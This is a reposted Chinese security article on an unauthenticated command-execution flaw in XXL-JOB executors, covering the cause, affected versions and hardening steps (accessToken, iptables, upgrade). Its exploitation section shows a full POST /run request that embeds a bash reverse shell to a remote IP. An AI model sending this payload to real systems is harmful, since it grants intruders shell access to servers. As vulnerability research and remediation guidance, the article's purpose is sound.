漏洞研究(7):XXL-JOB执行器未授权访问漏洞(RESTful API)

admin 2025年5月15日09:49:30评论4 views字数 2257阅读7分31秒阅读模式
  1. 组件介绍
  2. 原理与危害
  3. 影响版本
  4. 利用方式
  5. 加固措施
    1. 开启身份认证
    2. 限制端口访问
    3. 升级至安全版本

1. 组件介绍

XXL-JOB是一个分布式任务调度平台,分为调度中心和执行器两部分。

在调度中心添加执行器后,调度中心可以对执行器进行命令执行,属于集权系统,可以帮助攻击者批量获取服务器权限。

同时,通过调度中心横向到执行器,往往可以帮助攻击者实现跨网横移,这在网络策略严格的环境中具有较大价值。

2. 原理与危害

调度中心使用RESTful API对执行器进行调度通信时,可以使用accessToken向执行器证明自己的身份。

如果没有配置accessToken,任何人都能对执行器发起调度通信,对执行器所在的服务器进行任意命令执行,从而获得执行器所在服务器的权限。

3. 影响版本

受影响版本是2.2.0 <= XXL-JOB <= 2.3.0,具体如下:

  1. 2.2.0
  2. 2.3.0

4. 利用方式

POST /run HTTP/1.1Host: 10.58.81.107:9999Content-Length: 383{  "jobId": 1,  "executorHandler": "demoJobHandler",  "executorParams": "demoJobHandler",  "executorBlockStrategy": "COVER_EARLY",  "executorTimeout": 0,  "logId": 1,  "logDateTime": 1745646241,  "glueType": "GLUE_SHELL",  "glueSource": "bash -i >& /dev/tcp/10.58.81.119/8888 0>&1",  "glueUpdatetime": 1745646241,  "broadcastIndex": 0,  "broadcastTotal": 0}
漏洞研究(7):XXL-JOB执行器未授权访问漏洞(RESTful API)
漏洞研究(7):XXL-JOB执行器未授权访问漏洞(RESTful API)

5. 加固措施

可参考XXL-JOB作者恨铁不成钢的防护建议:XXL JOB 未授权访问致远程命令执行 "漏洞" 声明

5.1 开启身份认证

配置accessToken,开启身份认证,调度中心和执行器的值需保持一致。

accessToken在调度中心的配置文件是xxl-job-admin/src/main/resources/application.properties,配置项是xxl.job.accessToken=

accessToken在执行器的配置文件是xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties,配置项是xxl.job.accessToken=

漏洞研究(7):XXL-JOB执行器未授权访问漏洞(RESTful API)
漏洞研究(7):XXL-JOB执行器未授权访问漏洞(RESTful API)

例如将accessToken的值修改为OneMoreThink666666:

cd /usr/local/xxl-job-2.2.0sed -i 's/xxl.job.accessToken=/xxl.job.accessToken=OneMoreThink666666/g' /usr/local/xxl-job-2.2.0/xxl-job-admin/src/main/resources/application.propertiessed -i 's/xxl.job.accessToken=/xxl.job.accessToken=OneMoreThink666666/g' /usr/local/xxl-job-2.2.0/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties
漏洞研究(7):XXL-JOB执行器未授权访问漏洞(RESTful API)
漏洞研究(7):XXL-JOB执行器未授权访问漏洞(RESTful API)

然后重新打包与部署:

### 打包cd /usr/local/xxl-job-2.2.0mvn clean package## 部署调度中心和执行器java -jar xxl-job-admin/target/xxl-job-admin-2.2.0.jar &java -jar xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.2.0.jar

再次对执行器进行未授权任意代码执行,如果报错The access token is wrong,说明漏洞修复成功。

漏洞研究(7):XXL-JOB执行器未授权访问漏洞(RESTful API)

5.2 限制端口访问

执行器所在的服务器中配置本地防火墙,只允许调度中心访问执行器的9999端口。

# 如果担心已有规则干扰,可将允许规则插入到链的顶部。# 即时调度中心和执行器在同一台服务器中,该命令不会影响调度中心对执行器的正常通信。iptables -I INPUT 1 -p tcp -s 10.58.81.107 --dport 9999 -j ACCEPT# 拒绝其他所有IP访问9999端口iptables -A INPUT -p tcp --dport 9999 -j DROP# 永久保存规则(CentOS中)yum install iptables-services -y && service iptables save && systemctl enable iptables

再次对执行器进行未授权任意代码执行,如果没有响应,连接失败,说明漏洞修复成功。

漏洞研究(7):XXL-JOB执行器未授权访问漏洞(RESTful API)

5.3 升级至安全版本

建议升级至2.4.1及以上版本。

原文始发于微信公众号(OneMoreThink):漏洞研究(7):XXL-JOB执行器未授权访问漏洞(RESTful API)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月15日09:49:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞研究(7):XXL-JOB执行器未授权访问漏洞(RESTful API)https://cn-sec.com/archives/4063778.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息